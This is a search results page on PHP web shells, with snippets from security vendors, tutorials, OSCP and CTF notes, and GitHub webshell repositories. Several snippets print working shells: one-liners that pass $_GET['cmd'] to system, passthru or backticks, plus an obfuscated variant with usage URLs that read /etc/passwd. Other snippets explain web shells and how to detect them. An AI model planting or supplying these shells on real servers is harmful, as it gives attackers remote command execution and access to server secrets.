GitHub
gist.github.com › joswr1ght › 22f40787de19d80d110b37fb79ac3985
easy-simple-php-webshell.php · GitHub
easy-simple-php-webshell.php · This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters ·
Medium
tanzilr.medium.com › decontructing-php-one-liner-webshells-625f6cbb96ff
Deconstructing PHP ‘One-liner’ Webshells | by Tanzil Rehman | Medium
October 10, 2024 - <?php $output = `whoami`; echo "<pre>$output</pre>"; ?> --> root<?php echo whoami; ?> //output = whoami <?php echo `whoami`; ?> //output = root · In the example below, there is LFI in the background in the play. But that’s not relevant for our purpose we are testing webshells with $_GET and $_POST
Videos
How to Create a PHP Web Shell for Ethical Hacking | Cybersecurity ...
Write a Web shell in PHP
13:59
Unraveling an obfuscated PHP web shell! Exploring web shells for ...
09:40
What is a web shell? Exploring a popular web shells capabilities ...
13:17
RCE via Web-Shell Upload - PortSwigger Web Security Academy Series ...
08:10
Web Shell Upload via Obfuscated File Extension - YouTube
How do malicious hackers use web shells?
Malicious hackers use web shells to take control of an already compromised server. First, they exploit a vulnerability in your website or web application such as SQL injection, remote code execution, or others. Then, they upload a web shell to your web server. From now on, they can run any commands that they like on your server.
See a step-by-step example of an attack that leads to full server compromise.
acunetix.com
acunetix.com › blog › articles › web-shells-101-using-php-introduction-web-shells-part-2
Web Shells 101 Using PHP (Web Shells Part 2) | Acunetix
What is a web shell?
A web shell is a small application that an attacker runs on your web server. They can then use this application to remotely access your server and run commands on it. A web shell by itself is never an attack, it is the aftermath of a successful attack on your website or web application. This means that if you have a web shell, you have a much more serious problem to worry about.
See how a web shell works in practice.
acunetix.com
acunetix.com › blog › articles › web-shells-101-using-php-introduction-web-shells-part-2
Web Shells 101 Using PHP (Web Shells Part 2) | Acunetix
How can I detect web shells?
You can detect web shells by log analysis. However, you should not focus on detecting web shells but instead, you should detect vulnerabilities that can let attackers take control of your server. Even if you detect a web shell, that will not stop attackers from taking over control again if the vulnerabilities are still there. To detect web vulnerabilities and learn how to eliminate them, use Acunetix.
See what Acunetix Premium can do for you.
acunetix.com
acunetix.com › blog › articles › web-shells-101-using-php-introduction-web-shells-part-2
Web Shells 101 Using PHP (Web Shells Part 2) | Acunetix
GitBooks
sushant747.gitbooks.io › total-oscp-guide › content › webshell.html
Webshell · Total OSCP Guide - sushant747
# Execute one command <?php system("whoami"); ?> # Take input from the url paramter.
Acunetix
acunetix.com › blog › articles › web-shells-101-using-php-introduction-web-shells-part-2
Web Shells 101 Using PHP (Web Shells Part 2) | Acunetix
March 5, 2025 - PHP web shells do nothing more than use in-built PHP functions to execute commands.
WP-Content Uploads
secure.wphackedhelp.com › blog › web-shell-php-exploit
Web Shell PHP - Exploit, Examples & Mitigation [2025 Guide]
December 24, 2024 - To get access of your Web server, hackers sometimes installs a backdoor (PHP web Shell) designed to allow them to find the same entry after you have cleaned the site, fixed the security hole which allowed the hack and also to circumvent the measures to lock future hacker attempts that you could put in place to improve the security of the site.
GitHub
github.com › artyuum › simple-php-web-shell
GitHub - artyuum/simple-php-web-shell: Tiny PHP Web shell for executing unix commands from web page · GitHub
A really simple & tiny PHP Web shell for executing unix commands from web page.
Starred by 309 users
Forked by 146 users
Languages PHP
F5
f5.com › labs › articles › web-shells-understanding-attackers-tools-and-techniques
Web Shells: Understanding Attackers’ Tools and Techniques | F5 Labs
July 6, 2023 - The following is an example web shell, written in PHP: <!DOCTYPE html> <html> <head> <title>example webshell</title> </head> <body> <?php system($_GET['cmd']); ?> </body> </html>
WhiteWinterWolf
whitewinterwolf.com › tags › php-webshell
Php-webshell: latest articles - WhiteWinterWolf.com
While some web shells attempt to provide the most complete post-exploitation frameworkas possible, and are therefore heavy and prone to bugs and incompatibilities, wwwolf’s PHP webshell considers the web shell as a transitional step in taking over a server.
Linuxsec
htb.linuxsec.org › backdoor-stuff › php-webshell
Simple PHP Webshell | yuyudhn's notes
June 26, 2024 - <?php $_=${'_'.('{{{' ^ '<>/')};$_[0]($_[1]($_[2])); ?> <?php $_=${'_'.('{'^'<').('{'^'>;').('{'^'/')};$_[0]($_[1]($_[2])); ?> [*] Usage: http://target.com/path/to/shell.php?0=function1&1=function2&2=argument [*] E.g.: - http://target.com/path/to/shell.php?0=var_dump&1=scandir&2=. - http://target.com/path/to/shell.php?0=print_r&1=file_get_contents&2=/etc/passwd
Pwny
pwny.cc › shells › webshells
Web Shells | pwny.cc
November 5, 2024 - #Save next onliner as cli.sh while true;do read -p "[>] :~$ " cmd;curl $1$cmd;done #Usage: ./cli.sh http://target.com/path/to/shell.php?0= ... #Simple Webshell - system <?php echo system($_GET["cmd"]); ?> #Simple Webshell - passthru <?php echo passthru($_GET['cmd']); ?> #Tiny Webshell <?=`$_GET[0]`?>
Hack The Box
forum.hackthebox.com › off-topic › exploits
PHP Web Shell - Exploits - Hack The Box :: Forums
February 3, 2020 - Sooo, I am getting a bit exhausted with people’s reverse shells crashing boxes (also shuffling through them to find one that works). Here is a nice web shell that gives you a terminal like page to execute basic commands from. It’s not a TRUE reverse shell but it is good enough for most ...
GitHub
github.com › WhiteWinterWolf › wwwolf-php-webshell
GitHub - WhiteWinterWolf/wwwolf-php-webshell: WhiteWinterWolf's PHP web shell · GitHub
Fetch the file from a given host and URL (usually a host controlled by the attacker). This feature implement a very basic HTTP fetch functionality allowing to circumvent PHP's url_allow_fopen setting limitation.
Starred by 764 users
Forked by 168 users
Languages PHP 65.2% | Shell 34.8%
Invicti
invicti.com › learn › web-shell
Web Shell
Web shells can be written in any language supported by the web server. While PHP shells are common, attackers also use ASP, ASPX, JSP, Python, Perl, Ruby, and Unix web shell scripts, depending on the target environment.
GitHub
github.com › drag0s › php-webshell
GitHub - drag0s/php-webshell: A very simple but functional PHP webshell. · GitHub
A very simple but functional PHP webshell. Contribute to drag0s/php-webshell development by creating an account on GitHub.
Starred by 33 users
Forked by 29 users
Languages PHP
GitHub
github.com › Caesarovich › rome-webshell
GitHub - Caesarovich/rome-webshell: A powerful and delightful PHP WebShell · GitHub
This is a lightweight PHP webshell, using only vanilla JavaScript and CSS, no jQuery/Bootstrap bloat.
Starred by 68 users
Forked by 10 users
Languages PHP
GitHub
github.com › JohnTroony › php-webshells
GitHub - JohnTroony/php-webshells: Common PHP webshells you might need for your Penetration Testing assignments or CTF challenges. Do not host the file(s) on your server! · GitHub
Common PHP shells is a collection of PHP webshells that you may need for your penetration testing (PT) cases or in a CTF challenge.
Starred by 1.9K users
Forked by 769 users
Languages PHP 98.9% | Perl 1.1%
GitHub
github.com › tennc › webshell › blob › master › php › aioshell.php
webshell/php/aioshell.php at master · tennc/webshell
<td><a href="webshell.php?cmd=showdir">show directorys</a></td> <td><a href="webshell.php?cmd=backdoor">connect backdoor</a></td> <td><a href="webshell.php?cmd=portscan">port scan</a></td> <td><a href="webshell.php?cmd=proxy">reverse proxy</a></td> <td><a href="webshell.php?cmd=shell">cmd shell</a></td> </tr> </body> </html>'; } } function aio_main() { $uid = posix_getuid(); $user_info = posix_getpwuid($uid); $uid_banner="uid=".$uid."(".$user_info['name'].") ".
Author tennc
GitHub
github.com › tutorial0 › WebShell › blob › master › Php › WebShell.php
WebShell/Php/WebShell.php at master · tutorial0/WebShell
<li><a href="#" onclick="doFormPost(\'php\',\'execute\',\'find '.$util->dirBack($_SERVER['PHP_SELF']).' -type f -name config*php\');">find '.$util->dirBack($_SERVER['PHP_SELF']).' -type f -name config*php</a></li>
Author tutorial0
Huntress
huntress.com › threat-library › malware › php-webshell
PHP Webshell Malware: Analysis, Detection, Removal | Huntress
October 7, 2025 - A PHP webshell is a type of malware that provides attackers with remote administration of a web server. It's not a virus or a specific named strain but rather a malicious tool written in the PHP programming language.